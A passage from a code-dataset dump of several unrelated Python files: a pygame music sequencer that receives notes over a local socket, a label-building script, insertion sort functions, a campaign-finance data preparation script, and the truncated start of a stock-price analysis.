\"ps_thr_%s\" % str(bar),\n gpu, dataset_size, \n num_epochs = 100) \n bar += interval","sub_path":"Softmax_Pseudo_Label/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"587492602","text":"# -*- coding: utf-8 -*-\r\nimport socket\r\nimport select\r\nimport pygame\r\nimport sys\r\nimport threading\r\nimport time\r\nimport tkinter as tk\r\nfrom tkinter import simpledialog\r\nfrom tkinter import Tk\r\nfrom tkinter.filedialog import askopenfilename\r\nimport random\r\nfrom music import Music\r\n\r\n\r\nlmusic = []\r\nserver_socket = socket.socket()\r\n\r\n\r\n\r\ndef pysocket():\r\n global lmusic\r\n global server_socket\r\n\r\n mnow = \"\"\r\n lnow = []\r\n pygame.init()\r\n clock = pygame.time.Clock()\r\n fps = 60\r\n size = [480, 410]\r\n bg = [250, 250, 162]\r\n x1 = 80\r\n xsize = 50\r\n y = 80\r\n ysize = 50\r\n x2 =260\r\n note = Music(\"\")\r\n nowb = \"\"\r\n\r\n screen = pygame.display.set_mode(size)\r\n pygame.display.set_caption(\"The main player\")\r\n button_1a = pygame.Rect(x1, y, xsize, ysize)\r\n button_1l = pygame.Rect(x1 +50, y, xsize+40, ysize)\r\n button_2a = pygame.Rect(x1, y + 70, xsize, ysize)\r\n button_2l = pygame.Rect(x1+ xsize, y +70, xsize+40, ysize)\r\n button_3a = pygame.Rect(x1, y + 140, xsize, ysize)\r\n button_3l = pygame.Rect(x1 + xsize, y + 140, xsize+40, ysize)\r\n button_4a = pygame.Rect(x1, y + 210, xsize, ysize)\r\n button_4l = pygame.Rect(x1 + xsize, y + 210, xsize+40, ysize)\r\n button_5a = pygame.Rect(x2, y, xsize, ysize)\r\n button_5l = pygame.Rect(x2 +50 , y, xsize+40, ysize)\r\n button_6a = pygame.Rect(x2, y +70, xsize, ysize)\r\n button_6l = pygame.Rect(x2 + 50, y +70, xsize+40, ysize)\r\n button_7a = pygame.Rect(x2, y + 140, xsize, ysize)\r\n button_7l = pygame.Rect(x2 +50 , y +140, xsize+40, ysize)\r\n button_8a = pygame.Rect(x2, y + 210, xsize, ysize)\r\n button_8l = pygame.Rect(x2 +50 , y +210, xsize+40, ysize)\r\n button_melody = pygame.Rect(400, 10, 2*xsize -20, ysize)\r\n button_file_selection = pygame.Rect(320, 10, 2*xsize-20, ysize)\r\n button_revers = pygame.Rect(240, 10, 2*xsize-20, ysize)\r\n button_save = pygame.Rect(160, 10, 2*xsize-20, ysize)\r\n button_clear = pygame.Rect(80, 10, 2*xsize-20, ysize)\r\n button_delete_note = pygame.Rect(0, 10, 2*xsize-20, ysize)\r\n\r\n button_your_notes = pygame.Rect(320, 350, 2*xsize -20, ysize)\r\n button_enter = pygame.Rect(400, 350, 2*xsize -20, ysize)\r\n button_clear_sections = pygame.Rect(240, 350, 2*xsize-20, ysize)\r\n button_random = pygame.Rect(160, 350, 2*xsize-20, ysize)\r\n button_delete_last_added = pygame.Rect(80, 350, 2*xsize-20, ysize)\r\n button_open_piano = pygame.Rect(0, 350, 2*xsize-20, ysize)\r\n\r\n\r\n font = pygame.font.SysFont('Lucida Handwriting', 20)\r\n font2 = pygame.font.SysFont('Parchment', 62)\r\n font3 = pygame.font.SysFont('Parchment', 72)\r\n font4 = pygame.font.SysFont('Parchment', 56)\r\n font5 = pygame.font.SysFont('Parchment', 47)\r\n font6 = pygame.font.SysFont('Bauhaus 93', 32)\r\n\r\n\r\n textx = x1 -15\r\n texty = 100\r\n colortext = [0, 0, 255]\r\n colortext2 = [0, 0, 53]\r\n colortext3 = [117, 249, 134]\r\n\r\n text1 = font.render('1)', True, colortext)\r\n textRect1 = text1.get_rect()\r\n textRect1.center = (textx, texty)\r\n\r\n text2 = font.render('2)', True, colortext)\r\n textRect2 = text2.get_rect()\r\n textRect2.center = (textx, texty + 70)\r\n\r\n text3 = font.render('3)', True, colortext)\r\n textRect3 = text3.get_rect()\r\n textRect3.center = (textx, texty + 140)\r\n\r\n text4 = font.render('4)', True, colortext)\r\n textRect4 = text4.get_rect()\r\n textRect4.center = (textx, texty + 210)\r\n\r\n\r\n text5 = font.render('(5', True, colortext)\r\n textRect5 = text5.get_rect()\r\n textRect5.center = (textx + 345, texty)\r\n\r\n text6 = font.render('(6', True, colortext)\r\n textRect6 = text6.get_rect()\r\n textRect6.center = (textx + 345, texty + 70)\r\n\r\n\r\n text7 = font.render('(7', True, colortext)\r\n textRect7 = text7.get_rect()\r\n textRect7.center = (textx + 345, texty + 140)\r\n\r\n text8 = font.render('(8', True, colortext)\r\n textRect8 = text8.get_rect()\r\n textRect8.center = (textx + 345, texty + 210)\r\n\r\n\r\n text9 = font.render('add', True, colortext3)\r\n textRect91 = text9.get_rect()\r\n textRect91.center = (x1 +25, y + 25)\r\n\r\n textRect92 = text9.get_rect()\r\n textRect92.center = (x1 +25, y + 95)\r\n\r\n textRect93 = text9.get_rect()\r\n textRect93.center = (x1 +25, y + 165)\r\n\r\n textRect94 = text9.get_rect()\r\n textRect94.center = (x1 +25, y + 235)\r\n\r\n textRect95 = text9.get_rect()\r\n textRect95.center = (x2 +25, y + 25)\r\n\r\n textRect96 = text9.get_rect()\r\n textRect96.center = (x2 +25, y + 95)\r\n\r\n textRect97 = text9.get_rect()\r\n textRect97.center = (x2 +25, y + 165)\r\n\r\n textRect98 = text9.get_rect()\r\n textRect98.center = (x2 +25, y + 235)\r\n\r\n\r\n text10 = font.render('listen', True, colortext2)\r\n textRect101 = text10.get_rect()\r\n textRect101.center = (x1 + 95,y + 25)\r\n\r\n textRect102 = text10.get_rect()\r\n textRect102.center = (x1 + 95,y + 95)\r\n\r\n textRect103 = text10.get_rect()\r\n textRect103.center = (x1 + 95,y + 165)\r\n\r\n textRect104 = text10.get_rect()\r\n textRect104.center = (x1 + 95,y + 235)\r\n\r\n textRect105 = text10.get_rect()\r\n textRect105.center = (x2 + 95,y + 25)\r\n\r\n textRect106 = text10.get_rect()\r\n textRect106.center = (x2 + 95,y + 95)\r\n\r\n textRect107 = text10.get_rect()\r\n textRect107.center = (x2 + 95,y + 165)\r\n\r\n textRect108 = text10.get_rect()\r\n textRect108.center = (x2 + 95,y + 235)\r\n\r\n text11 = font3.render('play', True,[255,255,255])\r\n textRect11 = text11.get_rect()\r\n textRect11.center = (440,30)\r\n\r\n text12 = font3.render('revers', True,[255,255,255])\r\n textRect12 = text12.get_rect()\r\n textRect12.center = (280,30)\r\n\r\n text13 = font3.render('save', True,[255,255,255])\r\n textRect13 = text13.get_rect()\r\n textRect13.center = (200,30)\r\n\r\n text14 = font3.render('clear', True,[255,255,255])\r\n textRect14 = text14.get_rect()\r\n textRect14.center = (120,30)\r\n\r\n text151 = font2.render('delete', True,[255,255,255])\r\n text152 = font2.render('note', True,[255,255,255])\r\n textRect151 = text151.get_rect()\r\n textRect151.center = (40,23)\r\n textRect152 = text152.get_rect()\r\n textRect152.center = (40,45)\r\n\r\n\r\n text16 = font3.render('enter', True,[255,255,255])\r\n textRect16 = text16.get_rect()\r\n textRect16.center = (440,370)\r\n\r\n text171 = font2.render('clear', True,[255,255,255])\r\n text172 = font4.render('sections', True,[255,255,255])\r\n textRect171 = text171.get_rect()\r\n textRect171.center = (280,360)\r\n textRect172 = text172.get_rect()\r\n textRect172.center = (280,385)\r\n\r\n text18 = font4.render('random', True,[255,255,255])\r\n textRect18 = text18.get_rect()\r\n textRect18.center = (200,370)\r\n\r\n text191 = font5.render('delete last', True,[255,255,255])\r\n text192 = font2.render('section', True,[255,255,255])\r\n textRect191 = text191.get_rect()\r\n textRect191.center = (120,362)\r\n textRect192 = text192.get_rect()\r\n textRect192.center = (120,380)\r\n\r\n text201 = font2.render('open', True,[255,255,255])\r\n text202 = font3.render('piano', True,[255,255,255])\r\n textRect201 = text201.get_rect()\r\n textRect201.center = (40,355)\r\n textRect202 = text202.get_rect()\r\n textRect202.center = (40,375)\r\n\r\n text21 = font3.render('select', True,[255,255,255])\r\n textRect21 = text21.get_rect()\r\n textRect21.center = (360,30)\r\n\r\n text222 = font3.render('your', True,[255,255,255])\r\n text221 = font3.render('notes', True,[255,255,255])\r\n textRect221 = text221.get_rect()\r\n textRect221.center = (352,355)\r\n textRect222 = text222.get_rect()\r\n textRect222.center = (363,380)\r\n\r\n\r\n # creates a rect object\r\n # The rect method is similar to a list but with a few added perks\r\n # for example if you want the position of the button you can simpy type\r\n # button.x or button.y or if you want size you can type button.width or\r\n # height. you can also get the top, left, right and bottom of an object\r\n # with button.right, left, top, and bottom\r\n\r\n while True:\r\n for event in pygame.event.get():\r\n if note.bool == True:\r\n nowb = \"\"\r\n if event.type == pygame.QUIT:\r\n lmusic = [\"False\"]\r\n server_socket.close()\r\n return False\r\n if event.type == pygame.MOUSEBUTTONDOWN:\r\n mouse_pos = event.pos # gets mouse position\r\n # checks if mouse position is over the button\r\n list1 = []\r\n for k in lnow:\r\n str2 = \"\"\r\n klist = k.split()\r\n for j in klist:\r\n if not(j != \"do\" and j != \"re\" and j != \"mi\" and j != \"fa\" and j != \"sol\" and j != \"la\" and j != \"ci\" and j != \"do2\" and j != \"#c\" and j != \"#d\" and j != \"#f\" and j != \"#g\" and j != \"#a\"):\r\n str2 += \" \" + j\r\n if str2.replace(\" \",\"\") != \"\":\r\n list1.append(str2)\r\n\r\n lnow = list1\r\n\r\n\r\n\r\n if button_1l.collidepoint(mouse_pos):\r\n if(len(lmusic)>=1):\r\n if nowb == \"l1\" and note.bool == False:\r\n note.play_click()\r\n note.bre = False\r\n print (note.bre)\r\n elif note.bool == True:\r\n note = Music(lmusic[0])\r\n t2 = threading.Thread(target=note.play_music)\r\n t2.start()\r\n nowb = \"l1\"\r\n\r\n else:\r\n print(\"1l\")\r\n elif button_1a.collidepoint(mouse_pos):\r\n if(len(lmusic)>=1 and note.bool == True):\r\n lnow.append(lmusic[0])\r\n note.play_click()\r\n else:\r\n print(\"1a\")\r\n elif button_2l.collidepoint(mouse_pos):\r\n if(len(lmusic)>=2):\r\n if nowb == \"l2\" and note.bool == False:\r\n note.play_click()\r\n note.bre = False\r\n print (note.bre)\r\n elif note.bool == True:\r\n note = Music(lmusic[1])\r\n t2 = threading.Thread(target= note.play_music)\r\n t2.start()\r\n nowb = \"l2\"\r\n else:\r\n print(\"21\")\r\n elif button_2a.collidepoint(mouse_pos):\r\n if(len(lmusic)>=2 and note.bool == True):\r\n lnow.append(lmusic[1])\r\n note.play_click()\r\n else:\r\n print(\"2a\")\r\n elif button_3l.collidepoint(mouse_pos):\r\n if(len(lmusic)>=3):\r\n if nowb == \"l3\" and note.bool == False:\r\n note.play_click()\r\n note.bre = False\r\n print (note.bre)\r\n elif note.bool == True:\r\n note = Music(lmusic[2])\r\n t2 = threading.Thread(target= note.play_music)\r\n t2.start()\r\n nowb = \"l3\"\r\n else:\r\n print(\"31\")\r\n elif button_3a.collidepoint(mouse_pos):\r\n if(len(lmusic)>=3 and note.bool == True):\r\n lnow.append(lmusic[2])\r\n note.play_click()\r\n else:\r\n print(\"3a\")\r\n elif button_4l.collidepoint(mouse_pos):\r\n if(len(lmusic)>=4):\r\n if nowb == \"l4\" and note.bool == False:\r\n note.play_click()\r\n note.bre = False\r\n print (note.bre)\r\n elif note.bool == True:\r\n note = Music(lmusic[3])\r\n t2 = threading.Thread(target= note.play_music)\r\n t2.start()\r\n nowb = \"l4\"\r\n else:\r\n print(\"41\")\r\n elif button_4a.collidepoint(mouse_pos):\r\n if(len(lmusic)>=4 and note.bool == True):\r\n lnow.append(lmusic[3])\r\n note.play_click()\r\n else:\r\n print(\"4a\")\r\n elif button_5l.collidepoint(mouse_pos):\r\n if(len(lmusic)>=5):\r\n if nowb == \"l5\" and note.bool == False:\r\n note.play_click()\r\n note.bre = False\r\n print (note.bre)\r\n elif note.bool == True:\r\n note = Music(lmusic[4])\r\n t2 = threading.Thread(target= note.play_music)\r\n t2.start()\r\n nowb = \"l5\"\r\n else:\r\n print(\"51\")\r\n elif button_5a.collidepoint(mouse_pos):\r\n if(len(lmusic)>=5 and note.bool == True):\r\n lnow.append(lmusic[4])\r\n note.play_click()\r\n else:\r\n print(\"5a\")\r\n elif button_6l.collidepoint(mouse_pos):\r\n if(len(lmusic)>=6):\r\n if nowb == \"l6\" and note.bool == False:\r\n note.play_click()\r\n note.bre = False\r\n print (note.bre)\r\n elif note.bool == True:\r\n note = Music(lmusic[5])\r\n t2 = threading.Thread(target= note.play_music)\r\n t2.start()\r\n nowb = \"l6\"\r\n else:\r\n print(\"61\")\r\n elif button_6a.collidepoint(mouse_pos):\r\n if(len(lmusic)>=6 and note.bool == True):\r\n lnow.append(lmusic[5])\r\n note.play_click()\r\n else:\r\n print(\"6a\")\r\n elif button_7l.collidepoint(mouse_pos):\r\n if(len(lmusic)>=7):\r\n if nowb == \"l7\" and note.bool == False:\r\n note.play_click()\r\n note.bre = False\r\n print (note.bre)\r\n elif note.bool == True:\r\n note = Music(lmusic[6])\r\n t2 = threading.Thread(target= note.play_music)\r\n t2.start()\r\n nowb = \"l7\"\r\n else:\r\n print(\"71\")\r\n elif button_7a.collidepoint(mouse_pos):\r\n if(len(lmusic)>=7 and note.bool == True):\r\n lnow.append(lmusic[6])\r\n note.play_click()\r\n else:\r\n print(\"7a\")\r\n elif button_8l.collidepoint(mouse_pos):\r\n if(len(lmusic)>=8 and note.bool == True):\r\n if nowb == \"l8\" and note.bool == False:\r\n note.play_click()\r\n note.bre = False\r\n print (note.bre)\r\n elif note.bool == True:\r\n note = Music(lmusic[7])\r\n t2 = threading.Thread(target= note.play_music)\r\n t2.start()\r\n nowb = \"l8\"\r\n else:\r\n print(\"81\")\r\n elif button_8a.collidepoint(mouse_pos):\r\n if(len(lmusic)>=8):\r\n lnow.append(lmusic[7])\r\n note.play_click()\r\n else:\r\n print(\"8a\")\r\n\r\n\r\n elif button_melody.collidepoint(mouse_pos):\r\n if nowb == \"play\" and note.bool == False:\r\n note.bre = False\r\n elif note.bool == True:\r\n note.play_click()\r\n note = Music(str(lnow).replace(\"[\",\"\").replace(\"]\",\"\").replace(\"'\",\"\").replace(\",\",\"\"))\r\n t2 = threading.Thread(target= note.play_music)\r\n t2.start()\r\n nowb = \"play\"\r\n\r\n elif note.bool == False:\r\n break\r\n\r\n elif button_revers.collidepoint(mouse_pos):\r\n note.play_click()\r\n lnow2 = []\r\n for i in lnow:\r\n lnow2.append(str(i.split()[::-1]).replace(\"[\",\"\").replace(\"]\",\"\").replace(\"'\",\"\").replace(\",\",\"\"))\r\n lnow = lnow2[::-1]\r\n note = Music(str(lnow).replace(\"[\",\"\").replace(\"]\",\"\").replace(\"'\",\"\").replace(\",\",\"\"))\r\n\r\n elif button_save.collidepoint(mouse_pos):\r\n note.play_click()\r\n root2 = tk.Tk()\r\n root2.withdraw() # we don't want a full GUI, so keep the root window from appearing\r\n pygame.quit()\r\n filename = askopenfilename() # show an \"Open\" dialog box and return the path to the selected file\r\n screen = pygame.display.set_mode(size)\r\n root2.destroy()\r\n print(filename)\r\n if not(str(filename) == \"\" or str(filename)[::-1][0:4][::-1] != \".txt\"):\r\n input_file = open(r''+ filename,'a')\r\n input_file.write((str(lnow).replace(\"[\",\"\").replace(\"]\",\"\").replace(\"'\",\"\").replace(\",\",\"\").replace(\" \",\" \"))+ '\\n')\r\n input_file.close()\r\n print (\"save\")\r\n\r\n\r\n\r\n elif button_clear.collidepoint(mouse_pos):\r\n note.play_click()\r\n lnow = []\r\n\r\n elif button_delete_note.collidepoint(mouse_pos):\r\n note.play_click()\r\n print (lnow)\r\n if (len(lnow) > 0):\r\n lnow[-1] = str(lnow[-1]).split()\r\n del(lnow[-1])[-1]\r\n lnow[-1] = str(lnow[-1]).replace(\"[\",\"\").replace(\"]\",\"\").replace(\"'\",\"\").replace(\",\",\"\")\r\n print (lnow)\r\n\r\n elif button_enter.collidepoint(mouse_pos):\r\n note.play_click()\r\n ROOT = tk.Tk()\r\n ROOT.withdraw()\r\n pygame.quit()\r\n enter_notes = simpledialog.askstring(title=\"notes\",prompt=\"enter notes\")\r\n ROOT.destroy()\r\n screen = pygame.display.set_mode(size)\r\n if str(enter_notes) != \"None\":\r\n print (str(enter_notes))\r\n lnow.append(enter_notes.lower())\r\n print (\"enter\")\r\n\r\n elif button_clear_sections.collidepoint(mouse_pos):\r\n note.play_click()\r\n n = 0\r\n while len(lmusic) != 0 and n < 8:\r\n n += 1\r\n del lmusic[0]\r\n print (\"clear sections\")\r\n\r\n elif button_random.collidepoint(mouse_pos):\r\n note.play_click()\r\n lnow2 = []\r\n if lnow != []:\r\n nrandom=random.randint(0,len(lnow) -1)\r\n while lnow != []:\r\n lnow2.append(lnow.pop(nrandom))\r\n if(len(lnow) != 0):\r\n nrandom=random.randint(0,len(lnow)-1)\r\n lnow = lnow2\r\n\r\n print (\"random\")\r\n\r\n elif button_delete_last_added.collidepoint(mouse_pos):\r\n note.play_click()\r\n if len(lnow) != 0:\r\n del(lnow)[-1]\r\n print (\"delete last added\")\r\n\r\n elif button_open_piano.collidepoint(mouse_pos):\r\n note.play_click()\r\n pygame.quit()\r\n exec(open(\"piano clinet.py\").read())\r\n screen = pygame.display.set_mode(size)\r\n print (\"open piano\")\r\n\r\n elif button_file_selection.collidepoint(mouse_pos):\r\n note.play_click()\r\n root3 = tk.Tk()\r\n root3.withdraw() # we don't want a full GUI, so keep the root window from appearing\r\n pygame.quit()\r\n filename = askopenfilename() # show an \"Open\" dialog box and return the path to the selected file\r\n screen = pygame.display.set_mode(size)\r\n root3.destroy()\r\n print(filename)\r\n string = \"\"\r\n if not(str(filename) == \"\" or str(filename)[::-1][0:4][::-1] != \".txt\"):\r\n input_file = open(r''+ filename,'r')\r\n notes = input_file.read().replace('\\n', \" \").split()\r\n for j in notes:\r\n if not(j != \"do\" and j != \"re\" and j != \"mi\" and j != \"fa\" and j != \"sol\" and j != \"la\" and j != \"ci\" and j != \"do2\" and j != \"#c\" and j != \"#d\" and j != \"#f\" and j != \"#g\" and j != \"#a\"):\r\n string += \" \" + j\r\n\r\n input_file.close()\r\n lnow.append(string)\r\n\r\n\r\n elif button_your_notes.collidepoint(mouse_pos):\r\n note.play_click()\r\n root = tk.Tk()\r\n pygame.quit()\r\n S = tk.Scrollbar(root)\r\n T = tk.Text(root, height=4, width=50)\r\n S.pack(side=tk.RIGHT, fill=tk.Y)\r\n T.pack(side=tk.LEFT, fill=tk.Y)\r\n S.config(command=T.yview)\r\n T.config(yscrollcommand=S.set)\r\n T.insert(tk.END, str(lnow).replace(\"]\", '').replace(\"[\",\"\").replace(\"'\",\"\").replace(\", \",\" \"))\r\n tk.mainloop()\r\n screen = pygame.display.set_mode(size)\r\n\r\n print (\"your_notes\")\r\n\r\n\r\n\r\n print(lnow)\r\n screen.fill(bg)\r\n\r\n colorb1 = [17, 6, 70]\r\n colorb2 = [133, 252, 113]\r\n pygame.draw.rect(screen, colorb1, button_1a) # draw button\r\n pygame.draw.rect(screen, colorb2, button_1l) # draw button\r\n pygame.draw.rect(screen, colorb1, button_2a) # draw button\r\n pygame.draw.rect(screen, colorb2, button_2l) # draw button\r\n pygame.draw.rect(screen, colorb1, button_3a) # draw button\r\n pygame.draw.rect(screen, colorb2, button_3l) # draw button\r\n pygame.draw.rect(screen, colorb1, button_4a) # draw button\r\n pygame.draw.rect(screen, colorb2, button_4l) # draw button\r\n pygame.draw.rect(screen, colorb1, button_5a) # draw button\r\n pygame.draw.rect(screen, colorb2, button_5l) # draw button\r\n pygame.draw.rect(screen, colorb1, button_6a) # draw button\r\n pygame.draw.rect(screen, colorb2, button_6l) # draw button\r\n pygame.draw.rect(screen, colorb1, button_7a) # draw button\r\n pygame.draw.rect(screen, colorb2, button_7l) # draw button\r\n pygame.draw.rect(screen, colorb1, button_8a) # draw button\r\n pygame.draw.rect(screen, colorb2, button_8l) # draw button\r\n pygame.draw.rect(screen, [0, 0, 0], button_melody) # draw button\r\n pygame.draw.rect(screen, [40, 40, 40], button_file_selection) # draw button\r\n pygame.draw.rect(screen, [80, 80, 80], button_revers) # draw button\r\n pygame.draw.rect(screen, [130, 130, 130], button_save) # draw button\r\n pygame.draw.rect(screen, [170, 170, 170], button_clear) # draw button\r\n pygame.draw.rect(screen, [200, 200, 200], button_delete_note) # draw button\r\n pygame.draw.rect(screen, [0, 0, 0], button_enter) # draw button\r\n pygame.draw.rect(screen, [40, 40, 40], button_your_notes) # draw button\r\n pygame.draw.rect(screen, [80, 80, 80], button_clear_sections) # draw button\r\n pygame.draw.rect(screen, [130, 130, 130], button_random) # draw button\r\n pygame.draw.rect(screen, [170, 170, 170], button_delete_last_added) # draw button\r\n pygame.draw.rect(screen, [200, 200, 200], button_open_piano) # draw button\r\n\r\n screen.blit(text1, textRect1)\r\n screen.blit(text2, textRect2)\r\n screen.blit(text3, textRect3)\r\n screen.blit(text4, textRect4)\r\n screen.blit(text5, textRect5)\r\n screen.blit(text6, textRect6)\r\n screen.blit(text7, textRect7)\r\n screen.blit(text8, textRect8)\r\n screen.blit(text9, textRect91)\r\n screen.blit(text9, textRect92)\r\n screen.blit(text9, textRect93)\r\n screen.blit(text9, textRect94)\r\n screen.blit(text9, textRect95)\r\n screen.blit(text9, textRect96)\r\n screen.blit(text9, textRect97)\r\n screen.blit(text9, textRect98)\r\n\r\n\r\n screen.blit(text10, textRect101)\r\n screen.blit(text10, textRect102)\r\n screen.blit(text10, textRect103)\r\n screen.blit(text10, textRect104)\r\n screen.blit(text10, textRect105)\r\n screen.blit(text10, textRect106)\r\n screen.blit(text10, textRect107)\r\n screen.blit(text10, textRect108)\r\n screen.blit(text11, textRect11)\r\n screen.blit(text12, textRect12)\r\n screen.blit(text13, textRect13)\r\n screen.blit(text14, textRect14)\r\n screen.blit(text151, textRect151)\r\n screen.blit(text152, textRect152)\r\n screen.blit(text16, textRect16)\r\n screen.blit(text171, textRect171)\r\n screen.blit(text172, textRect172)\r\n screen.blit(text18, textRect18)\r\n screen.blit(text191, textRect191)\r\n screen.blit(text192, textRect192)\r\n screen.blit(text201, textRect201)\r\n screen.blit(text202, textRect202)\r\n screen.blit(text21, textRect21)\r\n screen.blit(text222, textRect221)\r\n screen.blit(text221, textRect222)\r\n\r\n\r\n pygame.display.update()\r\n clock.tick(fps)\r\n\r\n\r\n pygame.quit()\r\n sys.exit\r\n\r\n\r\ndef socketpiano():\r\n global lmusic\r\n global server_socket\r\n server_socket.bind(('192.168.1.16',1729))\r\n server_socket.listen(5)\r\n open_client_sockets = []\r\n while len(lmusic) == 0 or lmusic[0] != \"False\":\r\n rlist, wlist, xlist = select.select( [server_socket] + open_client_sockets, [], [] )\r\n for current_socket in rlist:\r\n if(len(lmusic) != 0 and lmusic[0] == \"False\"):\r\n break\r\n elif current_socket is server_socket:\r\n (new_socket, address) = server_socket.accept()\r\n open_client_sockets.append(new_socket)\r\n else:\r\n data = current_socket.recv(1024)\r\n if data == \"\":\r\n open_client_sockets.remove(current_socket)\r\n print (\"Connection with client closed.\")\r\n else:\r\n if data.decode() != '':\r\n lmusic.append(data.decode())\r\n print (lmusic)\r\n\r\n server_socket.close()\r\n\r\n\r\n\r\ndef main():\r\n\r\n\r\n t1 = threading.Thread(target=socketpiano)\r\n t1.start()\r\n pysocket()\r\n\r\n pygame.quit()\r\n sys.exit\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"הכל/socket game.py","file_name":"socket game.py","file_ext":"py","file_size_in_byte":27803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"423537292","text":"import cPickle as pickle\nimport numpy as np\nimport sys\ndef build_Y(nature, directory=\"Dataset\"):\n\tif directory == \"Dataset\":\n\t\taudio_venue = open(directory+\"/vine-venue-\"+nature+\".txt\", \"r\")\n\telse:\n\t\taudio_venue = open(directory, \"r\")\n\ty = []\n\taudio_venue_pos = dict()\n\tpos = 0\n\tfor line in audio_venue:\n\t\tline = line.split()\n\t\taudioID = line[0]\n\t\ty.append(int(line[1]))\n\t\taudio_venue_pos[audioID] = pos\n\t\tpos = pos + 1\n\ty = np.reshape(np.array(y), (1, -1))\n\tif nature == \"training\":\t\t\n\t\twith open(\"yTrain/y_train.dat\",\"wb\") as filey:\n\t\t\tpickle.dump(y, filey, -1)\n\telif nature == \"validation\":\n\t\twith open(\"yGround/y_ground.dat\",\"wb\") as filey:\n pickle.dump(y, filey, -1)\n\telif nature == \"online\":\n\t\treturn np.asmatrix(y)\n\taudio_venue.close()\n\t\nif __name__ ==\"__main__\":\n\tbuild_Y(sys.argv[1]) \n","sub_path":"build_Y.py","file_name":"build_Y.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"157938918","text":"import sys\n\n\ndef insertion_sort(arr):\n\n for j in range(1, len(arr)):\n key = arr[j]\n i = j - 1\n while i >= 0 and arr[i] > key:\n arr[i + 1] = arr[i]\n i -= 1\n arr[i + 1] = key\n return arr\n\n\ndef insertion_sort_descending(arr):\n\n for j in range(len(arr) - 2, -1, -1):\n key = arr[j]\n i = j + 1\n while i < len(arr) and arr[i] > key:\n arr[i - 1] = arr[i]\n i += 1\n arr[i - 1] = key\n return arr\n\n\nif __name__ == \"__main__\":\n arr = [5, 2, 4, 6, 1, 3]\n # print(insertion_sort(arr))\n print(insertion_sort_descending(arr))\n\n arr = [31, 41, 59, 26, 41, 58]\n print(insertion_sort_descending(arr))\n","sub_path":"cs-clrs/ch2/insertionsort.py","file_name":"insertionsort.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"451986760","text":"\"\"\"\n---------------------------------------------------------------------\n DATAQUEST\n\nData generation script for the \"Introduction to Ensembles\" blog post.\nAuthor: Sebastian Flennerhag\n---------------------------------------------------------------------\n\"\"\"\nfrom __future__ import print_function, division\n\nimport sys\nimport argparse\nimport numpy as np\nimport pandas as pd\n\n\nUSECOLS = [\"cand_pty_affiliation\",\n \"cand_office_st\",\n \"cand_office\",\n \"cand_office_district\",\n \"cand_status\",\n \"rpt_tp\",\n \"transaction_pgi\",\n \"transaction_tp\",\n \"entity_tp\",\n \"state\",\n \"classification\",\n \"transaction_amt\",\n \"cycle\"]\n\nparser = argparse.ArgumentParser()\nparser.add_argument('d', type=str,\n choices=['y', 'n'],\n help=\"Download original data from source\")\nparser.add_argument('-f', type=str,\n help=\"filename of local source file\")\nparser.add_argument('-o', type=str, default='input.csv',\n help=\"filename of output data (default: %(default)s)\")\n\nparser.add_argument('-n', type=int, default=100000,\n help=\"Number of observations in output file (0=all, default: %(default)s)\")\nparser.add_argument('-s', type=int, default=222,\n help=\"Seed to use for sampling output (0=None, default: %(default)s)\")\nparser.add_argument('-e', type=str, nargs='*',\n default=['cand_office_district', 'transaction_pgi'],\n choices=USECOLS,\n help=\"Exclude features (default: %(default)s)\")\n\n\nif __name__ == '__main__':\n print(__doc__); sys.stdout.flush()\n args = parser.parse_args()\n\n # Drop excluded features\n usecols = [col for col in USECOLS if col not in args.e]\n\n # Load features\n if args.d == 'y':\n print(\"Downloading data ...\", end=\" \"); sys.stdout.flush()\n f = (\"https://media.githubusercontent.com/media/fivethirtyeight/\"\n \"data/master/science-giving/science_federal_giving.csv\")\n else:\n print(\"Loading data from %s ...\" % args.f, end=\" \"); sys.stdout.flush()\n f = args.f\n\n df = pd.read_csv(f, usecols=usecols, low_memory=False)\n\n print(\"done\"); sys.stdout.flush()\n print(\"Formatting features ...\", end=\" \"); sys.stdout.flush()\n\n # Drop NaNs\n df.dropna(inplace=True)\n if \"cand_office_district\" in df.columns:\n df.cand_office_district = df.cand_office_district.astype(\"object\")\n\n if \"cycle\" in df.columns:\n df.loc[:, \"cycle\"] = df.loc[:, \"cycle\"].astype(\"object\")\n\n # Filter out minor parties and negative contributions\n df = df.loc[\n df.cand_pty_affiliation.apply(lambda x: x in [\"DEM\", \"REP\"]), :]\n df = df.loc[df.transaction_amt > 0, :]\n\n print(\"done\"); sys.stdout.flush()\n\n if args.n:\n print(\"Sampling ...\", end=\" \"); sys.stdout.flush()\n if args.s:\n np.random.seed(args.s)\n\n idx = np.random.permutation(df.shape[0])\n df = df.iloc[idx, :]\n df.reset_index(drop=True, inplace=True)\n\n df = df.iloc[:args.n, :]\n print(\"done\"); sys.stdout.flush()\n\n print(\"Writing to file ...\", end=\" \"); sys.stdout.flush()\n df.to_csv(args.o, index=False)\n print(\"done\"); sys.stdout.flush()\n\n print(\"Job complete.\"); sys.stdout.flush()\n","sub_path":"gen_data.py","file_name":"gen_data.py","file_ext":"py","file_size_in_byte":3396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"41389162","text":"import numpy as np \nimport pandas as pd \nfrom pandas_datareader import data\nfrom pandas import Series, DataFrame\nimport matplotlib.pyplot as plt \nimport matplotlib as mpl \nimport seaborn as sns \n# For time stamps\nfrom datetime import datetime\n\n# The tech stocks we'll use for this analysis\ntech_list = ['AAPL','GOOG','MSFT','AMZN']\n\n# Set up End and Start times for data grab\nend = datetime.now()\nstart = datetime(end.year - 1,end.month,end.day)\n\n\n#For loop for grabing yahoo finance data and setting as a dataframe\n\nfor stock in tech_list: \n # Set DataFrame as the Stock Ticker\n globals()[stock] = data.get_data_yahoo(stock,start,end)\n\n# Summary Stats\nAAPL.describe()\n\n\n# Let's see a historical view of the closing price\nAAPL['Adj Close'].plot(legend=True,figsize=(10,4))\n\n\n# Now let's plot the total volume of stock being traded each day over the past 5 years\nAAPL['Volume'].plot(legend=True,figsize=(10,4),color = 'indianred')\n\n# Luckily 